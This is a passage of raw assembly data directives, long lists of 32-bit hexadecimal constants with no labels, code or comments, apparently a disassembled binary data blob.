210089A3h, 0A4038B50h, 0D9B7CAh dd 34669F56h, 1D598840h, 63A1F600h, 0C068D4Ch, 1481002Fh dd 0C12E5D07h, 180074E0h, 0CDD64BE4h, 6747F4h, 0A8277FDFh dd 0E0B5423Fh, 41ED6D00h, 0D6CDBD7Bh, 0D10E00A1h, 25208594h dd 8F02A8D4h, 10E1AA26h, 33D280AEh, 0B82D4265h, 0B02800A6h dd 0C261258Ch, 0BC00E4BFh, 263C5C20h, 0A8B211h, 0F50DFCD7h dd 0DB429BC3h, 0B1D9D300h, 7651C41Ah, 8F4C03FEh, 0BAE7AA57h dd 4AC539F0h, 38133Ch, 0BE776029h, 346570D6h, 6E102706h dd 0F8010C04h, 7E9D105Ah, 6D1A0257h, 47BEB0B1h, 0EADEEAC1h dd 0B7A8F80h, 930053DFh, 6E565C26h, 4A8804h, 175BFD0Eh dd 0ABDF745h, 28546201h, 0CA316199h, 37CEFCh, 0B6DFFE30h dd 48AFE6E5h, 6058A900h, 0DE2443C9h, 0FC985A28h, 1D5898h dd 9D6E6A7Eh, 0EC830h, 87A8847Dh, 78BC28DFh, 0ED13C401h dd 0D612F209h, 943760h, 25F50F6Eh, 845C8EC1h, 0D4E5E800h dd 495806ECh, 0F7F43D1Dh, 86403A80h, 38D31E61h, 9D72BE39h dd 0F08558AAh, 49C3FD94h, 0E49D8F4h, 33440747h, 50013924h dd 3F85F0C2h, 0BB03B700h, 26FF62D8h, 9492001Eh, 0C8739F10h dd 0F0B3844h, 80BF1C5Eh, 0D159FE57h, 53C2193Ch, 60646837h dd 2E00256Eh, 0F7B54F5Dh, 743D4B8Ch, 0C14D3ED5h, 64ADA080h dd 8EAFC208h, 8313553Eh, 0F0A7CC4h, 0A072CAD7h, 0F8EEBFDCh dd 583460B5h, 93DF3C86h, 6600A7FEh, 0ED0A7EAEh, 0C7FEDAh dd 3E12C160h, 34F7CA80h, 927FBC04h, 3B8145A0h, 4246264h dd 704D00ACh, 0EF4AE44h, 0BC772166h, 28C1041Eh, 19FB15C0h dd 0E238F7h, 973E228Ah, 923AF475h, 18FECE00h, 7D9D499Ah dd 3D8500E3h, 28068B4Dh, 6B7453DAh, 38140475h, 3E9893D3h dd 58F980DDh, 5D0227A9h, 133400B0h, 90EAD42Bh, 1D00B39Dh dd 757DB71Ah, 2CFB83h dd 780F8458h, 87A33CAEh, 92948203h, 0B8127ADDh, 3972F0D5h dd 1F0E0FCh, 17BF74F5h, 60654F0Fh, 0DC03EA30h, 0A380F049h dd 5E6EC01Eh, 59C003C3h, 3CB1D157h, 0B0557B80h, 86E17300h dd 60BD5FFFh, 1E760766h, 709802B1h, 29D12515h, 8B13BE00h dd 648EB430h, 96F62421h, 7AD780C8h, 71F4B6AFh, 4357E100h dd 0DB621FEAh, 0EFEC0061h, 51074C85h, 83002A26h, 7E23D871h dd 0E6E4020h, 74DCD0A7h, 518A78C6h, 0BF002175h, 4466CDD8h dd 0EAEA62B0h, 0BDE2C9h, 6E21F1B7h, 0D7757EB3h, 31DE3Fh dd 0E7DC4465h, 0C6D2837h, 1453E302h, 2B775CC0h, 88A0F77Eh dd 82790B37h, 5130AF1Dh, 6A1E8140h, 244E96h, 54673BC8h dd 4C5EBFC0h, 3F91A800h, 7A6DAE23h, 2A720EE1h, 0E02356DDh dd 5BE3FAF5h, 609F7800h, 0E58A80CFh, 828900D6h, 417A144Eh dd 0F0268B1Ah, 0B3813870h, 3077D875h, 0E6DDB181h, 60682924h dd 80609E5Eh, 0F1114AB8h, 6DEF003Eh, 6E0BDFD0h, 0F004191h dd 0A1955AA3h, 0E54FF50h, 1EE8F946h, 60422987h, 6DC214EDh dd 8BE23D3Eh, 80369BFAh, 954C467Ah, 0BFAF00BBh, 0D3863754h dd 6C07E190h, 8C1EB01Ah, 5CFDC480h, 5BF317BCh, 759400DEh dd 7A8E9E9Ah, 8A513D03h, 0A8C9E218h, 0BA3236h, 0A2B7789Ch dd 0A08359D4h, 885B8700h, 41AF6D31h, 0E96B004Ah, 26723339h dd 7D00D6D9h, 8C35A4Bh, 0BAEC99h, 0DAE9D230h, 0CCC819B3h dd 118E0C00h, 1B805D8Dh, 1F18F6ECh, 38A77FDh, 0F1A78FBFh dd 0BBC8E188h, 0A4BBC3Ah, 0AC74C037h, 459D1C07h, 0FA02FC80h dd 476D0051h, 573ADE6Bh, 3230A9ACh, 0D208B8A2h, 2BE7009Ah dd 0A54A69EEh, 98385433h, 7DEB0084h, 8107EF25h, 0C5480746h dd 708A3B97h, 8959A5A4h, 476E6900h, 0D64F1C9Dh, 1D200E1h dd 0A2ED3D4h, 0A900EE3Dh, 9561C536h, 0AEFEBEh, 0F871645Eh dd 0CB2FFFF2h, 0EB086B1Eh, 9281BB1Eh, 1CBC5AA1h, 0F4C9D8E8h dd 0CEFE3093h, 479C37D1h, 719E1612h, 791C1440h, 97E899h dd 0B68B0F45h, 4DBB4302h, 0AD041A00h, 0B31049AEh, 0E8003A0h dd 18A5B86Ch, 0CA0611E8h, 30035175h, 0A06D02F1h, 0E868D3A4h dd 7ADF38h, 0EF10CCE6h, 0DE178F45h, 15489000h, 0BDB31B40h dd 0DA7705CAh, 5D6A91h, 0FB3ED8C2h, 100EF93h, 2E49B8AFh dd 24F17Ch, 0C32163B7h, 0DA085A5h, 0EE48B4E0h, 987E0045h dd 44691E67h, 0FD410002h, 0BB0D8B16h, 2C2C6555h, 6A9FE82Bh dd 81BC15C9h, 721D107h, 1B6EF0DBh, 20F0A68Ah, 0D5E65312h dd 0F8F74A00h, 0E8FE7213h, 44A539CDh, 3255FA00h, 3BA2E3DAh dd 0E4174D00h, 0C9756D97h, 0D8CB12ADh, 0DB9C0055h, 0F4FD05B0h dd 70729403h, 0A761EE28h, 4DCDE351h, 0B3FFCCh, 84B09541h dd 9C4A9713h, 0F2B9F700h, 0FA614324h, 3747004Dh, 4CDCF0E8h dd 0EC20F77h, 40720C9Fh, 86832h, 51A03FBBh, 53CED809h dd 0D55F0E02h, 0E0FD2734h, 11BE38h, 73258FB5h, 5A41E4FBh dd 0C5922C00h, 9E7EC4A6h, 6BBC07E8h, 40AA216Dh, 2EF1BD1Ah dd 0DA0DA700h, 1E18CB15h, 8E4B005Fh, 0F83DD093h, 6A1F9E47h dd 5D404584h, 1D1244D6h, 22405E0h, 0C0D406C1h, 8AF4C033h dd 0D2AB2E0Eh, 0C7BF4096h, 0F0180346h, 0ED2800E4h, 2EEB52CCh dd 0B400A90Ch, 2B0BAFFCh, 3B5949E6h, 0B8E2B56Eh, 0E28003D6h dd 3128AC68h, 0ADD75C00h, 59A88EF0h, 15890058h, 1542549h dd 0EF0BBAFFh, 20287A75h, 16D122E8h, 2BFEA121h, 0FB510D0h dd 0AB04137Ch, 0C0AA26E5h, 0ACA31B0Ch, 0BE347B1Dh, 0BF818E40h dd 8B111Eh, 97B5AF8Dh, 0F9CAB8B0h, 812CAA3Dh, 0BFF43461h dd 68BC7546h, 2F102431h, 2C20167Fh, 0F6BD85h, 0FD74143Eh dd 0BE0E37ADh, 0EB862BFCh, 0B810A159h, 0B080D0A9h, 0C3CBEFD8h dd 9600E3B7h, 0A6102BE9h, 0CAF8894h, 78A8F4DCh, 3A0F3838h dd 0E39D08h, 0DFCCDD90h, 7654009Fh, 4C3593C5h, 1700F9E5h dd 1BAB80CEh, 0E43027h, 0C7D3454Eh, 54E25F16h, 7077F200h dd 4C6AE701h, 0F46DE8B6h, 94501E02h, 5BF643A5h, 29CB18DAh dd 4BC10AF0h, 0D42B3B24h, 5A327600h, 5D72D0h, 1E29BDD5h dd 0A598F6E4h, 0E13AF31Fh, 0BA146C0h, 7EDCFB93h, 8402506Ah dd 86600A1Ch, 81D02A03h, 1F360FC7h, 0AC0700A0h, 3E08CC14h dd 17006A21h, 9DEBCF36h, 1A83437h, 22132F4Ah, 706D2C93h dd 0A201622Eh, 2977C22Bh, 0AC575083h, 71B8A800h, 0E7B006CDh dd 8C8D53Dh, 15214960h, 3DCB881h, 0BDA34C87h, 48067D75h dd 27FBAFE0h, 7354650h, 0CD65B8ACh, 3B32E294h, 0B8841920h dd 8C8F00CEh, 9DAEC80h, 54619DE5h, 0F6386021h, 7F08BCh dd 0F2091CAEh, 4DEFB9C4h, 4C05F100h, 88E504D2h, 0FF510F97h dd 56A06896h, 3421F2E4h, 3A808A50h, 0A3240A07h, 0FCEAA169h dd 961E200h, 0E3EBF0h, 802FDB26h, 46C45329h, 63382560h dd 3B48E8h, 82EB946Ch, 117DB0E7h, 35D71300h, 2E178001h dd 5ADB00B3h, 0C679F2D8h, 21267BE2h, 86003ECBh, 47679B0Fh dd 4EBA0045h, 2E8E3FF2h, 9F4C5781h, 9A8F001Ch, 0DA1AB4D7h dd 0C0C200FCh, 0A658461Dh, 0A300047Dh, 0D775537h, 1E749F7h dd 0F8C2B88Ah, 0E47813B1h, 9B047BBBh, 1D208FFCh, 0AEF03580h dd 96E20721h, 0C006232Dh, 93D5AA1Bh, 738CC5Ch, 0C422356Eh dd 0D847A113h, 0FE4416h, 0F6329061h, 0A67FDD64h, 912BE00h dd 0CC94DB7Dh, 877C1817h, 0B6E418BDh, 81991403h, 0EE77F73h dd 12D3F258h, 4472E547h, 5369C06Ah, 95007E25h, 0DB7FBF4Eh dd 1E26FC6Dh, 1DBE0F9Bh, 0C3730065h, 0C2441AB1h, 1718B766h dd 32A7958h, 9E50CEE6h, 0D1F836CCh, 0D7180C41h, 52716CB7h dd 0FAF612h, 0DD053CDAh, 0AB2069F5h, 0CD009B7Ch, 0C62B46DEh dd 0C0806495h, 0FC1AD530h, 68C6AE1Eh, 3C499EB7h, 4A01AA3Ch dd 0DC791249h, 4D57D82Ah, 2D941804h, 85003EB6h, 0D18F4E02h dd 0AB540E00h, 38B2DD1Eh, 0C8F40039h, 9D3BA307h, 0BD73E8FFh dd 6316800h, 70B5847Ch, 8BA500D8h, 0D181B8A1h, 250A4F9Ah dd 916E27B7h, 43E10300h, 0FE391Eh, 0D1F1B468h, 0B775BC78h dd 0AFDD5F1Dh, 7731DF40h, 16C3A260h, 0C588E3h, 26E0D57Ch dd 2004F46h, 4AE1DEE5h, 0C9CADFh, 8D03BC79h, 61241132h dd 0E94F8600h, 0CADB1E19h, 7BAE00D1h, 0CB558EF6h, 6C01837Ah dd 0C95FA712h, 88874AA0h, 70BFF5D6h, 65021E2Bh, 0D58D4200h dd 13457E3Bh, 301403D4h, 0F4EF09FAh, 1E79F11Dh, 0ABA7C040h dd 4B0CD9h, 0D77BE469h, 0A4BE30B3h, 0B4D2D303h, 80CF2DA9h dd 1B5609Ah, 0BB4783F1h, 80E14535h, 61E53948h, 0BD3ECAA0h dd 8A0E2A70h, 0B896CBF5h, 0ED964A8h, 0DCE36778h, 0D382C8A0h dd 0F230DA69h, 6DC441E8h, 32EA037Ah, 9AD7BF15h, 3EF5D188h dd 0BA35D200h, 2BAD3FDFh, 0E2F403A3h, 97B4150Fh, 870A5387h dd 1EE760E7h, 8A3D8973h, 7B11833Dh, 0A8339243h, 3A1C6F1h dd 9AA75FAAh, 18A35E57h, 58E12100h, 63D47F1h, 2F3E00D3h dd 9B41978Ah, 5E024D6Ah, 882A3315h, 0F4F98113h, 38BC6C1Eh dd 55105B01h, 6062B3EAh, 7E63FE33h, 425808h, 48384520h dd 35AFB877h, 94AD1F00h, 0FDE82130h, 0E34E33F3h, 896413B0h dd 0D6039B8h, 0A110D2F1h, 1EC85E0Ah, 0F615C580h, 4D913h dd 376FCA6Bh, 79A88C3Eh, 18843B40h, 193CA678h, 2640AA88h dd 0A09C011Bh, 916CADA7h, 89F8F776h, 6430301Ah, 582031D2h dd 0EEDB003Ah, 5C861711h dd 0F1063195h, 0C3DFBB16h, 35F2D6h, 1EC6B565h, 374F6FF3h dd 0E1853601h, 75493216h, 6241D4h, 64BB28F2h, 5BE64AA2h dd 5306DD75h, 46E58A8Eh, 61023009h, 0DBB10620h, 0F157AE00h dd 6C146520h, 6F6B0637h, 490DC6B9h, 2B1DAA00h, 0AE309D3Fh dd 28B63129h, 806CC408h, 2B45A120h, 1C95DD9Ah, 1ECE5DBh dd 0DECB2FCAh, 5D688062h, 0D7E4D0F9h, 7B771D69h, 0E1BE0E66h dd 4A9849A0h, 39526264h, 0DD42025Ch, 319653B3h, 215180DFh dd 73D1DBB5h, 3A521C14h, 542C078h, 97CBCFB7h, 2869C830h dd 0E2064C6h, 0E6DD7D9Bh, 4C3C0093h, 4869D219h, 2BCBE01Fh dd 0A28229F0h, 0C5AF5C29h, 196E0826h, 806D08A4h, 29F06221h dd 1CB8E8Bh, 0E1C4521Bh, 139FF180h, 4482E985h, 81C4AFF2h dd 0BD4FFBCBh, 2384E0h, 1D473E73h, 223B9C06h, 0DABC960Eh dd 189A401Eh, 0E1C88Fh, 0CAC95D54h, 8EBADCA9h, 0A23F1D00h dd 0E263E93Ch, 4CF06B7Ah, 0ED731301h, 15C320DCh, 1732FC00h dd 99B44505h, 0E49B002Eh, 0F57830CFh, 6300DA66h, 0D5803DDCh dd 13C4C7AFh, 0C02FEFh, 0D253F503h, 6500D703h, 4F29FDA4h dd 39225EAFh, 7E035D85h, 61986CECh, 0CF0D6A88h, 0FFEF5B00h dd 3701881Fh, 47AC1F2Bh, 44964EA1h, 494E9B20h, 0E3008A7Bh dd 1F08B152h, 0E0D5F40Bh, 327F00CBh, 0A388E880h, 9D00B093h dd 3092813Ah, 753E27A9h, 6731F41Ch, 0DC73084Ch, 18007020h dd 763614A9h, 38D3F7F8h, 163ECC7Ch, 289FF995h, 6B2CF7ACh dd 0C8004936h, 42498EB9h, 6AE65CD5h, 7DE0007Bh, 401BB6BDh dd 7501FD38h, 436E6CBAh, 54CCB29Ah, 0B5DB3730h, 0E7D8050h dd 35014E5Dh, 12AEE7B8h, 70D0F950h, 4C20C03Dh, 423E5EB5h dd 0E211F409h, 0ACDA8009h, 31E17C91h, 9D298CCEh, 0D95621A8h dd 5A11813Fh, 0CC59F40Eh, 37169FE4h, 9F08C7B1h, 365D20D8h dd 2F9F400h, 6E7627F2h, 21E7F89h, 406CB958h, 54903654h dd 60115E98h, 5A88A835h, 0FED694h, 0B5DC8B78h, 903197CDh dd 0B45A5050h, 91E600ABh, 0CC8C68EBh, 282A8278h, 2E0CC006h dd 28646676h, 37C8013Fh, 0B1A6CEADh, 3368C885h, 0D2895400h dd 0D61E6EDDh, 6F2507E2h, 10ABF14Ch, 76BA6556h, 5007DFFEh dd 3C88781Ch, 0B2BB0BE0h, 2A110070h, 68DE47CBh, 0A3025523h dd 0F3377309h, 964BC00Ch, 7DECDDh, 92FE35E6h, 7B559BA5h dd 3000F698h, 62FAEFFDh, 7E3BB58Bh, 0C4768Eh, 4AF3E3D1h dd 6358E416h, 9FAF5200h, 7372DB70h, 9BF428h, 0B5B40419h dd 9559BCBEh, 2400EFF8h, 0BF69C83h, 318AEDAh, 2B0CA9E4h dd 3800937Dh, 0DD57FA60h, 12FC31h, 2990D55Eh, 0ACF89666h dd 5020C400h, 87583728h, 405004Bh, 0DF9386D3h, 68E0D1FAh dd 50E91C00h, 0A76E0F7Eh, 59C61CE8h, 557C40C7h, 0C0F8B60Bh dd 20658036h, 0D53D0018h, 7D16A626h, 0BC00DADBh, 0E90EF096h dd 0C4E34DCh, 0FC6850B2h, 0FE0FE548h, 4001B635h, 0B5C1C587h dd 44B907F7h, 30E669FDh, 1156F247h, 23006174h, 7E955835h dd 0AC476EBh, 8CDCC98Fh, 7C3F8090h, 3B750569h, 0E5CC4D01h dd 2CAE9714h, 0B3C0CDC3h, 302F3562h, 0C53066BFh, 2E0011F8h dd 912B383Ch, 7ADE8F52h, 0CAB00053h, 0C9FAAD0Fh, 0DC07CD70h dd 0A468311Eh, 53276F20h, 1C73E40Bh, 9E24DBE1h, 0E7BD00ADh dd 6851FC66h, 2AE50E13h, 5AD58103h, 75AA80E1h, 1B6E066Bh dd 18E3C72Fh, 0CABF2600h, 0D611998Dh, 0A9B60007h, 883F5202h dd 98008C62h, 3C3BCA6Dh, 0CEB947EEh, 0BDE02D11h, 48FDF5C4h dd 18387518h, 3CD408h, 0E187CA6Ch, 11EA1EB2h, 2DC43300h dd 489A9347h, 0B91C038Ah, 0FE77988Dh, 603FB200h, 578567D9h dd 7D0900CAh, 7A7E9C62h, 8F60AB21h, 3EE5D670h, 0DC04001Ah dd 2859970Ch, 7A00416Ch, 498F29A8h, 3A39F0B1h, 4000656Ah dd 0ECA094F4h, 710CE7A1h, 0D04DF20Ch, 6D851CDDh, 102C996Ch dd 0CD6C4A3Ah, 6C0020B1h, 793DF78h, 0E7A05CE8h, 0A243CFFAh dd 7001C32Ch, 36BF8F95h, 8E300A14h, 0D03F26C5h, 7DE16D0h dd 1A9EE507h, 668008Ch, 344F20EAh, 380379ECh, 0D6AF22E4h dd 49179087h, 5C300BAh, 0B6C8DF48h, 5878E1D5h, 4C71BE00h dd 64D14BD8h, 0F41E007Fh, 22A7F8B0h, 0AF742DD0h, 8F190800h dd 128E6AF6h, 0E59C0018h, 13F177E0h, 9A002DFCh, 1B32C0A5h dd 7AEE3721h, 2854339Bh, 12F98540h, 3FA86047h, 0DE74ED03h dd 0F6C21F84h, 3DA9176Eh, 0F2DD0168h, 0E4A6229Bh, 5403BC83h dd 2858D12Fh, 7BF8900Fh, 1E3FF8AAh, 186F14FCh, 0CBF7A19Eh dd 19CC7300h, 12DBED13h, 0D68F016Eh, 6F10B15Dh, 0F434F98Dh dd 910D3C2Ah, 9933FDDAh, 3CF211F0h, 0D806237Bh, 68611606h dd 2C24120Fh, 68EA8385h, 0EEC7B0DDh, 9B0D018Ch, 0F867E0CFh dd 282770E3h, 958A4D0Fh, 299A20A8h, 0AB241Fh, 0FAC08D06h dd 0EED5A57Fh, 5700287Ch, 0C546F717h, 1D5A32BCh, 40135D2Bh dd 0C7F1942Eh, 0A548BBA7h, 0CF0501B6h, 52AE014Dh, 31D4D4h dd 0CCD96BEh, 9E39460h, 0AD76901h, 0CF9A97DAh, 3CD0BBFDh dd 3693015Bh, 388F9DB1h, 2B75E03Fh, 55BA8900h, 0D3BEF639h dd 0E6210714h, 0AF69D4E4h, 0F796FBE1h, 0DBEBFF26h, 8EB655D8h dd 0F21BAF06h, 196EC7h, 57B0C59Ch, 0ABBAA53Fh, 0BC3B40h dd 874207A7h, 7EE826F9h, 790C030Fh, 0E232CF8Fh, 6033F39Ah dd 0C9F97B0h, 2C864725h, 0AD001398h, 0E1297066h, 19E31E7h dd 6D75260Bh, 0D793AE05h, 7EC040C8h, 80B8953Dh, 28AB7F12h dd 3F3207h, 26FCA1FEh, 8A453B0Ah, 0E9A45050h, 18B2F000h dd 0E1821CA2h, 7B770EDAh, 0F814B359h, 0FBF3E607h, 36009975h dd 135F1D3Bh, 84172F00h, 0FC5DE65h, 37FAC2h, 0AE4B9B41h dd 0AA385BB6h, 0FBF6EE00h, 4DEFD521h, 0BFA700B9h, 0A8C1903h dd 0F1188898h, 49283E3Ch, 0E7A86h, 0D785BF2Bh, 83AD3ACCh dd 0B52EB106h, 5144FCh, 0E6FEBE6Ah, 5BE2171Dh, 702E8D00h dd 81670D27h, 2DB312C2h, 87BC12h, 4E068F64h, 5C970BAEh dd 80002D8h, 0E0F515Ch, 849017B6h, 1115741Ch, 2084BEC7h dd 18F036h, 0C3F81D09h, 8C80954Bh, 0FE5921Dh, 50E0DB41h dd 71E096EFh, 0A1B600A8h, 69B54148h, 0E200E49Fh, 4905C886h dd 0DE1A38h, 46ECA6F7h, 15AB7D0Ch, 0BA6B3518h, 0C1BFCF1h dd 0F8479791h, 7400B930h, 41C6F067h, 0FA0D54h, 4334C3FDh dd 9FDED78Dh, 4229AA1Ch, 0F12705C0h, 0C7AB9Dh, 601578FCh dd 9FB54DA2h, 8701097Ah, 52D17642h, 0A0E05333h, 0D89A00D7h dd 26BE1084h, 0E40013EDh, 0A9ECD565h, 0F0A6186h, 540CB9FFh dd 0DD52D420h, 0BA00B519h, 0D5079A82h, 0D180D7h, 227C5E70h dd 8C06B20Dh, 0D42B8407h, 0FD4058AFh, 9DC9D3h, 48D7AE1h dd 0CFFA516Bh, 7D5C7374h, 0B84A000Eh, 72A1D828h, 1ABE0048h dd 3CFD12D1h, 60C52E34h, 14801051h, 3EFB570h, 49C3EBE6h dd 8801B1E9h, 19C07669h, 109FAEFDh, 720E8084h, 802FE92Dh dd 0FFBA95Ch, 6F8F32D0h, 8757E0BAh, 707B3Ah, 86835415h dd 6DCB675Eh, 61FC9700h, 58EA7DA8h, 7F450C52h, 0C31876A7h dd 0BCF1A60Fh, 96809D5Ch, 65DF83D1h, 2E57013Eh, 0FA6D43D4h dd 89B04073h, 0A201700Dh, 0DC34FDEBh, 0C0E01E72h, 58C96059h dd 0A477ABDh, 270D8F00h, 57FCCA86h, 28490ECFh, 0A940772Dh dd 3337C42Fh, 72816A00h, 4795149Ch, 3AD974BAh, 0C880A9E0h dd 5D6D4EBh, 0F11DE736h dd 3AC32580h, 0B020B53Eh, 0F2F40D3h, 0EFD7D914h, 0D1BA04C1h dd 40F238h, 291F2C80h, 4B000F4Fh, 36E19727h, 4C7ED6h, 5D1073Dh dd 0ED6C198Ch, 0C0FA18CFh, 0CA3E5976h, 713D0073h, 0D7B9DF69h dd 1E060E88h, 55DA034Eh, 27590038h, 5E95B4BEh, 0A8153D44h dd 0BC2CE231h, 0C2174382h, 8694BD49h, 6082F7Ch, 0A660A1D3h dd 1EF860F7h, 2779C107h, 82AED20Ah, 8054EB4Dh, 65D53390h dd 7D8B0F0Ch, 41199B12h, 0D7B7F4DCh, 0B9CB2800h, 30DF5815h dd 0EFCC0FFCh, 0A32716BDh, 801D0E8Fh, 0E410BBC2h, 41009C55h dd 45286F31h, 0A4E8156h, 9F99F7D9h, 73094024h, 7807EFC3h dd 711341ADh, 967FEC30h, 0C2B0C304h, 88013AD8h, 6A6F97ABh dd 0EF8E099h, 70FE30h, 1BD7D76h, 0A4498EACh, 7B9E940Ch dd 3961D017h, 10013223h, 4BCB8D31h, 0A79C40FBh, 3B00E055h dd 89CD08FEh, 0F4A43A48h, 0BF10306h, 0C5635904h, 0F062F4C1h dd 0AB0039C7h, 21B37FF0h, 5FBA87h, 57C4DE52h, 0B2DA4A1Dh dd 3CD348h, 53E06045h, 25A3F85h, 9CB4F431h, 2C402644h dd 2005FD75h, 0D3F56B48h, 25C6AC00h, 1C2DB0F8h, 0C5CAD7EFh dd 80E7A5E5h, 494D3A75h, 84645629h, 0C8D915h, 0F0BFF793h dd 0F1C785h, 4499922Ch, 0F6FEEC63h, 0B0FFE4ABh, 0A3ABC13Ah dd 0CD7D3C00h, 1F0F4EF3h, 22590121h, 5F045B38h, 338880D5h dd 0E7D658ECh, 0D44450B6h, 0B41600B8h, 79F1F9E4h, 9C0045C6h dd 0C0CA6EA9h, 57262Fh, 4F75B9AAh, 205D06D0h, 0E6A24600h dd 9B1EAEBFh, 0F23F00B0h, 2E735711h, 8F3DAAA7h, 7E3009Ah dd 5CD6BCCEh, 5F4B0001h, 0DA67D359h, 6B313715h, 0A7B238B4h dd 19ED5082h, 8AC0B04Bh, 0BD7158E1h, 0C4F23C1Eh, 8D995906h dd 4EAC1C29h, 6012C0FFh, 0D8C9E30Dh, 94300274h, 7CE12016h dd 0B28600F9h, 0A56103D2h, 5B00D4A9h, 6DE3AF60h, 1A5380h dd 0BD84CE74h, 0FB036FCBh, 9FBCC303h, 0F3A60886h, 5A62C0A5h dd 287D4Eh, 13DA6F50h, 0FE5EEB8Ch, 0A234B14h, 80403AFDh dd 9021ADECh, 0E66281h, 0D0DB7404h, 474480FFh, 80791A3Eh dd 1B836CD3h, 3431C08h, 80EB9E7Bh, 0F9B877B5h, 6600A389h dd 1AD7C275h, 7DDA5Bh, 0D6C70F48h, 0B07CEC3h, 0C4002172h dd 6286440Eh, 0E5AC61h, 9AD5689Eh, 8CA15696h, 0B2697E00h dd 368F87C8h, 9055001Ch, 988E4335h, 240021CCh, 0EBAFBA2Eh dd 305B1BEh, 751AF0A3h, 1014BFD3h, 0FC04B21Dh, 0C6D22C46h dd 0A3DA00F1h, 9189F2D7h, 0E7649403h, 0DA8674CEh, 9EB58032h dd 48511D20h, 0C8007B66h, 18036957h, 0CD07ADA8h, 37856780h dd 0A809D313h, 0F96A25h, 0F17026Fh, 0FDA0B98Ch, 6141F20Fh dd 0C632602Eh, 197CA44h, 154963E0h, 0E5988B87h, 0F44AE88Ch dd 0A027F100h, 0C081F67Eh, 9FD90067h, 1B3B8E5Ah, 0DB00B89Ah dd 3EADC13Ch, 5973161h, 0A7463F67h, 2A9000F2h, 78A834B3h dd 702FB624h, 8AAB6D00h, 380FAE6h, 664CEB8h, 36D8C257h dd 0E9001381h, 0C114886Fh, 60B18589h, 3170482Bh, 0F9FCF405h dd 1BDF7400h, 0F06216CBh, 0B9BD0E80h, 817C6AFDh, 764459D1h dd 402020AFh, 8FCDA318h, 42BA0Ah, 5F3F6C5Ch, 0A512BF49h dd 4A27EB00h, 0F9F0C3A1h, 76A01E80h, 0A23382E1h, 61E03DF8h dd 0EBF66E73h, 72296400h, 401820E3h, 3C1900EEh, 0F501FB22h dd 0A90071CFh, 2D0391C6h, 0AE0C7AAh, 13FD780Dh, 664D07F0h dd 6F706060h, 1A1C64A3h, 0EAC11968h, 83E99F0h, 9A48ECh dd 0CF963FFh, 2AA6651Eh, 0BF893D02h, 8F9D3E54h, 1E686E98h dd 0CB2C8B87h, 7983BB71h, 3D848C8h, 0F227A258h, 288977Ah dd 0E2079BB1h, 0C2E539DDh, 2C402Ch, 9E41AC25h, 351AD19Dh dd 0CC754800h, 53FB0820h, 0EFE706Ah, 5F887BBh, 503F03C0h dd 0D81F91E0h, 8900ED78h, 46717B63h, 90DE7933h, 79DC0524h dd 0C0A0B307h, 738E3A5Ah, 0C5E72C00h, 46D2AE6Bh, 0C6073EBFh dd 0FCBCDA00h, 4166C1AAh, 0D8288C26h, 0B2221400h, 0C0E872F7h dd 0E1DF0250h, 3E009E20h, 97546D78h, 0C0A5A713h, 2FCA2CA8h dd 74000AA6h, 6A3B91F1h, 290FB1h, 0DBB1546h, 19D18D4Bh dd 883DB200h, 53955D81h, 0BE802407h, 913E00B8h, 0F48BA672h dd 0CEBB3B18h, 7DEB3158h, 0E9A3A0EDh, 980103A5h, 0A1E437E2h dd 217DCF98h, 5E40C165h, 1468D600h, 0E01F1A8Ch, 218F258h dd 16369810h, 70487C07h, 1E982834h, 0C69E5801h, 8BCF2A06h dd 3C50B0C9h, 1A2F182h, 0BD138EA1h, 8EDE51DAh, 0D2165A18h dd 43D66C01h, 73ECB025h, 0DF60E36h, 57202786h, 0E056679Dh dd 3D005BE6h, 2D061749h, 450257Bh, 30E909C2h, 0EE888007h dd 7700CD3Dh, 0DE897033h, 0F7C512h, 0F0CAA05Fh, 0E096617Ch dd 239DA502h, 0C0970F5Eh, 379CA2h, 0DD29F23Eh, 6795A09h dd 0D083B700h, 4A8FBF05h, 0BE65005Ch, 0C83734DBh, 0B700390Bh dd 7EE2B0C0h, 3F8B4BC7h, 7280B590h, 665B36B1h, 0E1496833h dd 609E288Ch, 0C5A8551Ch, 79FA8200h, 6142D1h, 32A0714Fh dd 76F1595Ah, 6BFF8B00h, 3ABB95FBh, 0E36D019Ah, 0CD060583h dd 218AD054h, 85980976h, 8EBB9106h, 3E607B85h, 2B92CE3Fh dd 5F3001F7h, 0C54863E8h, 2410B8E1h, 0B41FB817h, 0EC5EFE00h dd 8F902Fh, 0E7E7645h, 0A22AEA9Fh, 8997A303h, 0A99552E3h dd 0D441A479h, 3CEC9BCDh, 4A5001Fh, 0E891481Ah, 3D7403B7h dd 2E38800h, 6687508Dh, 0CFFF006Dh, 981EB9C2h, 6B3DCEF8h dd 647C80F9h, 2851C1D3h, 0FE77002Fh, 29E79F7Fh, 0A800354Bh dd 0B9A5FAC0h, 0F6434F74h, 39E254h, 4B77A96Fh, 9AF00C8Ah dd 0EB794805h, 0EBC514h, 96C9CF24h, 5700AB3Eh, 0D3BBDF4h dd 0EA2F6288h, 9A790054h, 802DDE78h, 36E2553Eh, 13846338h dd 6409994Dh, 0B6942313h, 33D0C847h, 0CFE50015h, 567A75E6h dd 0CA756671h, 31906100h, 5AAF079Ah, 1C2D0099h, 1F184A60h dd 6B3977F1h, 90D6AC4Ch, 76A2900h, 3CFB10DAh, 0DE00F966h dd 9A54EE38h, 59F85F45h, 0DA7D8100h, 63981122h, 0BCC02685h dd 49B19D60h, 14A03F4Dh, 7A3C3B73h, 0EC4BB50h, 3A464A07h dd 9234E9F1h, 0C56AE490h, 8F44001Ah, 4FE2D0BFh, 0F0112F5h dd 8272F610h, 0E464ED2Eh, 256907C6h, 90D409A2h, 93DB7959h dd 3B406552h, 0EAA911F7h, 8D5F0500h, 687D99D9h, 73699D00h dd 9F1D55A0h, 8FF51E56h, 0DAC14038h, 0D0378940h, 5F695300h dd 0A778D60Eh, 24A809D3h, 0DC004801h, 61F982F2h, 8C6B111Ch dd 0CFBFD40h, 3416346Ch, 801815E5h, 0DCB096D3h, 1F81F700h dd 0E8288BAh, 10A7B5Ch, 661A904Eh, 6083D09Eh, 0BE30E214h dd 0D7D4E02Eh, 4F7A09h, 0D45A5C5h, 0C35C45Ch, 70BD58h dd 0BF030E87h, 1B21BEh, 0A80AF62h, 9A1473EAh, 0A21A8901h dd 5BBA072Dh, 96BED8h, 7D0E8B75h, 37948440h, 0C821F200h dd 0C480500Fh, 7A509029h, 6D4C1C32h, 7BBC3A8h, 0CE80662h dd 0CA004F69h, 0E8017C4Eh, 2EF0D26Ch, 76B5F52h, 6F8B71h dd 0D5692A19h, 7424D600h, 0E3CE5EBh, 73940055h, 0A93FFFDDh dd 0B4484A23h, 